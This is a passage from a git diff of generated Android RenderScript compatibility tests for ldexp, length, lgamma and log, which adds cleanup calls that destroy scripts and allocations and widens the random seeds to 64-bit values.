             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testLdexpFloat4Int4Float4(inMantissa, out);
             verifyResultsLdexpFloat4Int4Float4(inMantissa, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat4Int4Float4: " + e.toString());
         }
+        inMantissa.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsLdexpFloat4Int4Float4(Allocation inMantissa, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -360,13 +383,14 @@
     }
 
     private void checkLdexpFloat2IntFloat2() {
-        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x38bd38d1l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xd60d8a26l, false);
+        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x6a72b89838bd38d1l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x6a72b6bfd60d8a26l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testLdexpFloat2IntFloat2(inMantissa, out);
             verifyResultsLdexpFloat2IntFloat2(inMantissa, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat2IntFloat2: " + e.toString());
         }
@@ -375,9 +399,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testLdexpFloat2IntFloat2(inMantissa, out);
             verifyResultsLdexpFloat2IntFloat2(inMantissa, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat2IntFloat2: " + e.toString());
         }
+        inMantissa.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsLdexpFloat2IntFloat2(Allocation inMantissa, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -439,13 +466,14 @@
     }
 
     private void checkLdexpFloat3IntFloat3() {
-        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5150f83dl, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xeea14992l, false);
+        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x49ba40205150f83dl, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x49ba3e47eea14992l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testLdexpFloat3IntFloat3(inMantissa, out);
             verifyResultsLdexpFloat3IntFloat3(inMantissa, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat3IntFloat3: " + e.toString());
         }
@@ -454,9 +482,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testLdexpFloat3IntFloat3(inMantissa, out);
             verifyResultsLdexpFloat3IntFloat3(inMantissa, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat3IntFloat3: " + e.toString());
         }
+        inMantissa.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsLdexpFloat3IntFloat3(Allocation inMantissa, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -518,13 +549,14 @@
     }
 
     private void checkLdexpFloat4IntFloat4() {
-        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x69e4b7a9l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x73508fel, false);
+        Allocation inMantissa = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2901c7a869e4b7a9l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x2901c5d0073508fel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testLdexpFloat4IntFloat4(inMantissa, out);
             verifyResultsLdexpFloat4IntFloat4(inMantissa, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat4IntFloat4: " + e.toString());
         }
@@ -533,9 +565,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testLdexpFloat4IntFloat4(inMantissa, out);
             verifyResultsLdexpFloat4IntFloat4(inMantissa, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLdexpFloat4IntFloat4: " + e.toString());
         }
+        inMantissa.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsLdexpFloat4IntFloat4(Allocation inMantissa, Allocation inExponent, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLength.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLength.java
index b7e6c9f..7d55f37 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLength.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLength.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestLengthRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkLengthFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9f7cc9fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x8119352509f7cc9fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLengthFloatFloat(inV, out);
             verifyResultsLengthFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLengthFloatFloat(inV, out);
             verifyResultsLengthFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLengthFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -114,11 +124,12 @@
     }
 
     private void checkLengthFloat2Float() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x5dd9595dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xaf3b0f345dd9595dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLengthFloat2Float(inV, out);
             verifyResultsLengthFloat2Float(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthFloat2Float: " + e.toString());
         }
@@ -126,9 +137,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLengthFloat2Float(inV, out);
             verifyResultsLengthFloat2Float(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthFloat2Float: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLengthFloat2Float(Allocation inV, Allocation out, boolean relaxed) {
@@ -185,11 +198,12 @@
     }
 
     private void checkLengthFloat3Float() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xbcdfe7bel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xaf3b19d5bcdfe7bel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLengthFloat3Float(inV, out);
             verifyResultsLengthFloat3Float(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthFloat3Float: " + e.toString());
         }
@@ -197,9 +211,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLengthFloat3Float(inV, out);
             verifyResultsLengthFloat3Float(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthFloat3Float: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLengthFloat3Float(Allocation inV, Allocation out, boolean relaxed) {
@@ -256,11 +272,12 @@
     }
 
     private void checkLengthFloat4Float() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1be6761fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xaf3b24771be6761fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLengthFloat4Float(inV, out);
             verifyResultsLengthFloat4Float(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthFloat4Float: " + e.toString());
         }
@@ -268,9 +285,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLengthFloat4Float(inV, out);
             verifyResultsLengthFloat4Float(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthFloat4Float: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLengthFloat4Float(Allocation inV, Allocation out, boolean relaxed) {
@@ -333,11 +352,12 @@
     }
 
     private void checkLengthHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x6dc47281l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd70e76bc6dc47281l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testLengthHalfHalf(inV, out);
             verifyResultsLengthHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthHalfHalf: " + e.toString());
         }
@@ -345,9 +365,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLengthHalfHalf(inV, out);
             verifyResultsLengthHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLengthHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -409,11 +431,12 @@
     }
 
     private void checkLengthHalf2Half() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf0ea410dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x1f6dec10f0ea410dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testLengthHalf2Half(inV, out);
             verifyResultsLengthHalf2Half(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthHalf2Half: " + e.toString());
         }
@@ -421,9 +444,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLengthHalf2Half(inV, out);
             verifyResultsLengthHalf2Half(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthHalf2Half: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLengthHalf2Half(Allocation inV, Allocation out, boolean relaxed) {
@@ -485,11 +510,12 @@
     }
 
     private void checkLengthHalf3Half() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3a911ab0l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1f6dec503a911ab0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testLengthHalf3Half(inV, out);
             verifyResultsLengthHalf3Half(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthHalf3Half: " + e.toString());
         }
@@ -497,9 +523,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLengthHalf3Half(inV, out);
             verifyResultsLengthHalf3Half(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthHalf3Half: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLengthHalf3Half(Allocation inV, Allocation out, boolean relaxed) {
@@ -561,11 +589,12 @@
     }
 
     private void checkLengthHalf4Half() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x8437f453l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1f6dec8f8437f453l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testLengthHalf4Half(inV, out);
             verifyResultsLengthHalf4Half(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthHalf4Half: " + e.toString());
         }
@@ -573,9 +602,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLengthHalf4Half(inV, out);
             verifyResultsLengthHalf4Half(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLengthHalf4Half: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLengthHalf4Half(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgamma.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgamma.java
index d1eaa9f..7d10205 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgamma.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgamma.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestLgammaRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkLgammaFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x50bc4bel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd9395583050bc4bel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLgammaFloatFloat(inV, out);
             verifyResultsLgammaFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLgammaFloatFloat(inV, out);
             verifyResultsLgammaFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLgammaFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkLgammaFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x367a4132l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xeef55496367a4132l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testLgammaFloat2Float2(inV, out);
             verifyResultsLgammaFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLgammaFloat2Float2(inV, out);
             verifyResultsLgammaFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLgammaFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkLgammaFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2c956210l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xeef71db12c956210l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testLgammaFloat3Float3(inV, out);
             verifyResultsLgammaFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLgammaFloat3Float3(inV, out);
             verifyResultsLgammaFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLgammaFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkLgammaFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x22b082eel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xeef8e6cc22b082eel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testLgammaFloat4Float4(inV, out);
             verifyResultsLgammaFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLgammaFloat4Float4(inV, out);
             verifyResultsLgammaFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLgammaFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,13 +344,15 @@
     }
 
     private void checkLgammaFloatIntFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x979c4bb7l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2a62d992979c4bb7l, false);
         try {
             Allocation outSignOfGamma = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocOutSignOfGamma(outSignOfGamma);
             script.forEach_testLgammaFloatIntFloat(inV, out);
             verifyResultsLgammaFloatIntFloat(inV, outSignOfGamma, out, false);
+            outSignOfGamma.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloatIntFloat: " + e.toString());
         }
@@ -341,9 +362,12 @@
             scriptRelaxed.set_gAllocOutSignOfGamma(outSignOfGamma);
             scriptRelaxed.forEach_testLgammaFloatIntFloat(inV, out);
             verifyResultsLgammaFloatIntFloat(inV, outSignOfGamma, out, true);
+            outSignOfGamma.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloatIntFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLgammaFloatIntFloat(Allocation inV, Allocation outSignOfGamma, Allocation out, boolean relaxed) {
@@ -398,13 +422,15 @@
     }
 
     private void checkLgammaFloat2Int2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x984bcf7fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x409fb9a5984bcf7fl, false);
         try {
             Allocation outSignOfGamma = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocOutSignOfGamma(outSignOfGamma);
             script.forEach_testLgammaFloat2Int2Float2(inV, out);
             verifyResultsLgammaFloat2Int2Float2(inV, outSignOfGamma, out, false);
+            outSignOfGamma.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat2Int2Float2: " + e.toString());
         }
@@ -414,9 +440,12 @@
             scriptRelaxed.set_gAllocOutSignOfGamma(outSignOfGamma);
             scriptRelaxed.forEach_testLgammaFloat2Int2Float2(inV, out);
             verifyResultsLgammaFloat2Int2Float2(inV, outSignOfGamma, out, true);
+            outSignOfGamma.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat2Int2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLgammaFloat2Int2Float2(Allocation inV, Allocation outSignOfGamma, Allocation out, boolean relaxed) {
@@ -471,13 +500,15 @@
     }
 
     private void checkLgammaFloat3Int3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8dfe3c38l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6655f8088dfe3c38l, false);
         try {
             Allocation outSignOfGamma = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocOutSignOfGamma(outSignOfGamma);
             script.forEach_testLgammaFloat3Int3Float3(inV, out);
             verifyResultsLgammaFloat3Int3Float3(inV, outSignOfGamma, out, false);
+            outSignOfGamma.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat3Int3Float3: " + e.toString());
         }
@@ -487,9 +518,12 @@
             scriptRelaxed.set_gAllocOutSignOfGamma(outSignOfGamma);
             scriptRelaxed.forEach_testLgammaFloat3Int3Float3(inV, out);
             verifyResultsLgammaFloat3Int3Float3(inV, outSignOfGamma, out, true);
+            outSignOfGamma.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat3Int3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLgammaFloat3Int3Float3(Allocation inV, Allocation outSignOfGamma, Allocation out, boolean relaxed) {
@@ -544,13 +578,15 @@
     }
 
     private void checkLgammaFloat4Int4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x83b0a8f1l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8c0c366b83b0a8f1l, false);
         try {
             Allocation outSignOfGamma = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocOutSignOfGamma(outSignOfGamma);
             script.forEach_testLgammaFloat4Int4Float4(inV, out);
             verifyResultsLgammaFloat4Int4Float4(inV, outSignOfGamma, out, false);
+            outSignOfGamma.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat4Int4Float4: " + e.toString());
         }
@@ -560,9 +596,12 @@
             scriptRelaxed.set_gAllocOutSignOfGamma(outSignOfGamma);
             scriptRelaxed.forEach_testLgammaFloat4Int4Float4(inV, out);
             verifyResultsLgammaFloat4Int4Float4(inV, outSignOfGamma, out, true);
+            outSignOfGamma.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLgammaFloat4Int4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLgammaFloat4Int4Float4(Allocation inV, Allocation outSignOfGamma, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog.java
index de3eecf..68546a0 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestLogRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkLogFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2a43578dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4176ec542a43578dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLogFloatFloat(inV, out);
             verifyResultsLogFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLogFloatFloat(inV, out);
             verifyResultsLogFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkLogFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4dd9a49l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd3cba12c04dd9a49l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testLogFloat2Float2(inV, out);
             verifyResultsLogFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLogFloat2Float2(inV, out);
             verifyResultsLogFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkLogFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfaf8bb27l, false);
